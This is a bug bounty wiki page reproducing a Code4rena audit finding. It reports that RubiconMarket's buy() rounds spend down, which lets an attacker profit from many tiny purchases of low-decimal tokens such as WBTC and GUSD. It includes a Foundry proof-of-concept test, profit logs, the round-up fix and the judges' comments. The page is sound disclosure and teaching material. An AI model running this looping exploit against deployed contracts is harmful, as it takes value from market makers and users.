Skip to content
Smart contracts Audit finding Intermediate

Attack on rounding errors to get risk free profit

The RubiconMarket buy function rounds down the spend amount, allowing attackers to repeatedly buy small quantities and pay less than the exact proportional cost. This can yield a risk-free profit, especially for tokens with few decimals like WBTC and GUSD, as demonstrated in tests.

KingNFT Follow with joestakey, cducrest and 4 others

Originally disclosed on Code4rena

Submitted by KingNFT, also found by joestakey, cducrest, Neon2835, 0xWaitress, koxuan and J4de.

When users buy() from RubiconMarket, their spend is rounded down. Tokens with small decimals, such as WBTC and GUSD, are vulnerable to rounding error attack. Attackers can exploit it to get risk free profit.

Proof of Concept

The issue arises on L319 of buy(), we can see calculation of spend is rounded down:

File: contracts\RubiconMarket.sol
314:     function buy(
315:         uint256 id,
316:         uint256 quantity
317:     ) public virtual can_buy(id) synchronized returns (bool) {
318:         OfferInfo memory _offer = offers[id];
319:         uint256 spend = mul(quantity, _offer.buy_amt) / _offer.pay_amt; // @audit should round up
...
447:         return true;
448:     }

The following test cases show how attackers can exploit it to get profit:

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../contracts/periphery/TokenWithFaucet.sol";
import "../../contracts/RubiconMarket.sol";
import "forge-std/Test.sol";

contract MockERC20 is ERC20 {
    uint8 private decimals_;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) ERC20(_name, _symbol) {
        decimals_ = _decimals;
    }

    function decimals() public view override returns (uint8) {
        return decimals_;
    }

    function mint(address account, uint256 amount) external {
        _mint(account, amount * 10 ** decimals_);
    }
}

/// @notice proxy isn't used here
contract AttackOnRoundingError is Test {
  //========================CONSTANTS========================
  address public owner;
  address FEE_TO = 0x0000000000000000000000000000000000000FEE;
  address attacker = address(0x01020304);
  uint256 WBTCOfferId;
  uint256 GUSDOfferId;
  // core contracts
  RubiconMarket market;
  // test tokens
  MockERC20 USDC;
  MockERC20 WBTC;
  MockERC20 GUSD;

  function setUp() public {
    owner = msg.sender;

    // deploy new Market instance and init
    market = new RubiconMarket();
    market.initialize(FEE_TO);
    market.setFeeBPS(10);

    // deploy test tokens
    USDC = new MockERC20("Test Stablecoin", "USDC", 6);
    WBTC = new MockERC20("Wrapped BTC", "WBTC", 8);
    // the top 77th token: https://coinmarketcap.com/currencies/gemini-dollar/
    GUSD = new MockERC20("Gemini USD", "GUSD", 2);

    USDC.mint(address(this), 1_000_000);
    USDC.approve(address(market), type(uint256).max);
    // place ask and bid for WBTC/USDC pair at price 30,000 USDC/WBTC
    WBTCOfferId = market.offer(300000e6, USDC, 10e8, WBTC, address(this), owner);

    // place ask and bid for GUSD/USC pair at price 1 USDC/GUSD
    GUSDOfferId = market.offer(300000e6, USDC, 300000e2, GUSD, address(this), owner);

    WBTC.mint(attacker, 10);
    vm.prank(attacker);
    WBTC.approve(address(market), type(uint256).max);

    GUSD.mint(attacker, 100000);
    vm.prank(attacker);
    GUSD.approve(address(market), type(uint256).max);
  }

  function test_AttackOnWBTCPair() public {
    uint256 l2GasCost;
    uint256 USDCReceived;
    uint256 WBTCSent;
    { // stack too deep
      uint256 USDCBalanceBefore = USDC.balanceOf(attacker);
      uint256 WBTCBalanceBefore = WBTC.balanceOf(attacker);

      vm.startPrank(attacker);
      uint256 gasBefore = gasleft();
      for (uint256 i; i < 300; ++i) { // sum of gas can't excess block gas limit of 15M
          market.buy(WBTCOfferId, 599);
      }
      uint256 gasAfter = gasleft();
      vm.stopPrank();
      l2GasCost = gasBefore - gasAfter;
      uint256 USDCBalanceAfter = USDC.balanceOf(attacker);
      USDCReceived = USDCBalanceAfter - USDCBalanceBefore;
      uint256 WBTCBalanceAfter = WBTC.balanceOf(attacker);
      WBTCSent = WBTCBalanceBefore - WBTCBalanceAfter;
    }

    // reference https://dune.com/queries/508560/961244
    uint256 l1GasCost = 4013;
    uint256 l1GasPrice = 4e9;
    uint256 l2GasPrice = 0.001e9;
    uint256 ETHPrice = 2000e6;
    uint256 l1GasCostInUSDC = l1GasCost * l1GasPrice * ETHPrice / 1e18;
    uint256 l2GasCostInUSDC = l2GasCost * l2GasPrice * ETHPrice / 1e18;
    uint256 WBTCCostInUSDC = WBTCSent * 30000e6 / 1e8;
    uint256 totalCostInUSDC = l1GasCostInUSDC + l2GasCostInUSDC + WBTCCostInUSDC;
    uint256 profitInUSDC = USDCReceived - totalCostInUSDC;
    uint256 profitInPercentage = 100 * profitInUSDC / totalCostInUSDC;

    console.log("==========Attack on WBTC pair==========");
    console.log("Given price: 2000 USDC/ETH, 30,000 USDC/BTC");
    console.log("Given L1(Ethereum) gas price: 4 Gwei");
    console.log("Given L2(Optimism) gas price: 0.001 Gwei");
    console.log("Given decimals: WBTC(8), USDC(6)");
    console.log("L1 gas cost:", l1GasCost);
    console.log("L1 gas cost in USDC:", l1GasCostInUSDC);
    console.log("L2 gas cost:", l2GasCost);
    console.log("L2 gas cost in USDC:", l2GasCostInUSDC);
    console.log("WBTC cost:", WBTCSent);
    console.log("WBTC cost in USDC:", WBTCCostInUSDC);
    console.log("Total cost in USDC:", totalCostInUSDC);
    console.log("USDC received:", USDCReceived);
    console.log("Profit in USDC:", profitInUSDC);
    console.log("Profit in percentage:", profitInPercentage, "%");
  }

  function test_AttackOnGUSDPair() public {
    uint256 l2GasCost;
    uint256 USDCReceived;
    uint256 GUSDSent;
    { // stack too deep
      uint256 USDCBalanceBefore = USDC.balanceOf(attacker);
      uint256 GUSDBalanceBefore = GUSD.balanceOf(attacker);

      vm.startPrank(attacker);
      uint256 gasBefore = gasleft();
      for (uint256 i; i < 300; ++i) { // sum of gas can't excess block gas limit of 15M
          market.buy(GUSDOfferId, 19_999);
      }
      uint256 gasAfter = gasleft();
      vm.stopPrank();
      l2GasCost = gasBefore - gasAfter;
      uint256 USDCBalanceAfter = USDC.balanceOf(attacker);
      USDCReceived = USDCBalanceAfter - USDCBalanceBefore;
      uint256 GUSDBalanceAfter = GUSD.balanceOf(attacker);
      GUSDSent = GUSDBalanceBefore - GUSDBalanceAfter;
    }

    // reference https://dune.com/queries/508560/961244
    uint256 l1GasCost = 4013;
    uint256 l1GasPrice = 20e9;
    uint256 l2GasPrice = 0.001e9;
    uint256 ETHPrice = 2000e6;
    uint256 l1GasCostInUSDC = l1GasCost * l1GasPrice * ETHPrice / 1e18;
    uint256 l2GasCostInUSDC = l2GasCost * l2GasPrice * ETHPrice / 1e18;
    uint256 GUSDCostInUSDC = GUSDSent * 1e6 / 1e2;
    uint256 totalCostInUSDC = l1GasCostInUSDC + l2GasCostInUSDC + GUSDCostInUSDC;
    uint256 profitInUSDC = USDCReceived - totalCostInUSDC;
    uint256 profitInPercentage = 100 * profitInUSDC / totalCostInUSDC;

    console.log("==========Attack on GUSD pair==========");
    console.log("Given price: 2000 USDC/ETH, 30,000 USDC/BTC");
    console.log("Given L1(Ethereum) gas price: 20 Gwei");
    console.log("Given L2(Optimism) gas price: 0.001 Gwei");
    console.log("Given decimals: GUSD(2), USDC(6)");
    console.log("L1 gas cost:", l1GasCost);
    console.log("L1 gas cost in USDC:", l1GasCostInUSDC);
    console.log("L2 gas cost:", l2GasCost);
    console.log("L2 gas cost in USDC:", l2GasCostInUSDC);
    console.log("GUSD cost:", GUSDSent);
    console.log("GUSD cost in USDC:", GUSDCostInUSDC);
    console.log("Total cost in USDC:", totalCostInUSDC);
    console.log("USDC received:", USDCReceived);
    console.log("Profit in USDC:", profitInUSDC);
    console.log("Profit in percentage:", profitInPercentage, "%");
  }

}

Case 1: WBTC/USDC pair

The given market parameters and test result for Case 1:

[PASS] test_AttackOnWBTCPair() (gas: 11427870)
Logs:
  ==========Attack on WBTC pair==========
  Given price: 2000 USDC/ETH, 30,000 USDC/BTC
  Given L1(Ethereum) gas price: 4 Gwei
  Given L2(Optimism) gas price: 0.001 Gwei
  Given decimals: WBTC(8), USDC(6)
  L1 gas cost: 4013
  L1 gas cost in USDC: 32104
  L2 gas cost: 14251627
  L2 gas cost in USDC: 28503
  WBTC cost: 300
  WBTC cost in USDC: 90000
  Total cost in USDC: 150607
  USDC received: 179700
  Profit in USDC: 29093
  Profit in percentage: 19 %

From the log, we can see a 19% profit in one attack. The absolute profit value is about 0.029 USDC, though it is small, but Optimism confirms transactions instantly, attackers can submit huge number of transactions such as 1M to get 29,000 USDC profit.

One point needs to be pointed out, market parameters other than L1 gas prices are consistent with the actual normal situations. The 4 Gwei L1 gas price is a a relatively low price, and it’s a key condition to make the attack be profitable. But this scenario can actually happen, here are some instances when a gas price drops below 4 Gwei.

2022/8/21 18:00 | 1.56939
2022/9/19 18:00 | 2.3536
2022/9/17 12:00 | 2.63193
2022/7/31 12:00 | 2.87714
2022/8/21 12:00 | 2.99122
2022/7/31 6:00 | 3.03533
2022/10/5 18:00 | 3.14388
2022/9/4 18:00 | 3.15065
2022/10/2 18:00 | 3.18227
2022/9/4 6:00 | 3.19788
2022/7/31 18:00 | 3.20089
2022/8/1 12:00 | 3.22637
2022/9/4 12:00 | 3.34139
2022/8/20 18:00 | 3.57428
2022/9/18 12:00 | 3.57598
2022/9/22 18:00 | 3.60006
2022/8/14 18:00 | 3.63901
2022/9/18 6:00 | 3.72209
2022/9/12 12:00 | 3.74844
2022/8/29 0:00 | 3.8843
2022/8/21 6:00 | 3.94099
2022/9/25 12:00 | 3.97128
2022/9/21 18:00 | 3.98098
2022/8/6 18:00 | 3.98923

Case 2: GUSD/USDC pair

The given market parameters and test result for Case 2:

[PASS] test_AttackOnGUSDPair() (gas: 11427889)
Logs:
  ==========Attack on GUSD pair==========
  Given price: 2000 USDC/ETH, 30,000 USDC/BTC
  Given L1(Ethereum) gas price: 20 Gwei
  Given L2(Optimism) gas price: 0.001 Gwei
  Given decimals: GUSD(2), USDC(6)
  L1 gas cost: 4013
  L1 gas cost in USDC: 160520
  L2 gas cost: 14251627
  L2 gas cost in USDC: 28503
  GUSD cost: 300
  GUSD cost in USDC: 3000000
  Total cost in USDC: 3189023
  USDC received: 5999400
  Profit in USDC: 2810377
  Profit in percentage: 88 %

For the GUSD pair, we can see even on a normal 20 Gwei L1 gas price condition, the attack profit rate is 88%. The absolute profit value in one attack is about 2.8 USDC. Similarly, attackers can submit huge number of transactions to make a significant profit.

Recommended Mitigation Steps

Calculation of spend should be rounded up.

daoio (Rubicon) acknowledged and commented via duplicate issue #1142:

It’s interesting, but the amounts used are too small to be real. Moreover, such offers can’t be created because they will probably exceed minimum sell amount.

HickupHH3 (judge) commented via duplicate issue #1142:

I agree that the stated amounts in the example are unlikely to be used practically, but they aren’t small enough to the point where I can say it’s negligible. Ie. larger than negligible, but smaller than for practical usage.

Will let this issue stand as Medium severity.

HickupHH3 (judge) commented:

Well written! Choosing this for the report because it factors in gas conditions.


The original report as published on Code4rena, by KingNFT. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The spend calculation in the buy function uses integer division that rounds down instead of rounding up, so the buyer pays less than the exact proportional amount.

Impact

Attackers could earn a risk-free profit, with test cases showing 19% profit for WBTC/USDC and 88% for GUSD/USDC under specific gas conditions, though the absolute profit per attack is small and the report notes that such small offers may not be practical.

What the attacker needed

Tokens with small decimals (e.g., WBTC, GUSD); Low gas prices on L1 and L2; Ability to submit many transactions

The fix

The spend calculation should be rounded up instead of down.

How it was found

  1. Deploy a test market and mock tokens with small decimals (WBTC with 8 decimals, GUSD with 2 decimals).
  2. Place offers selling WBTC and GUSD for USDC at specified prices.
  3. The attacker repeatedly calls buy with small quantities (e.g., 599 for WBTC, 19999 for GUSD) in a loop.
  4. Calculate gas costs and compare USDC received to total cost to determine profit.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you buy something on this market, the amount you pay is calculated by multiplying the quantity by a price ratio and then rounding down. Rounding down means you pay slightly less than the exact amount. By making many tiny purchases, an attacker can accumulate a profit because each purchase underpays a little.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by KingNFT

View all

25 more disclosed reports, best first.

More from Rubicon v2

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.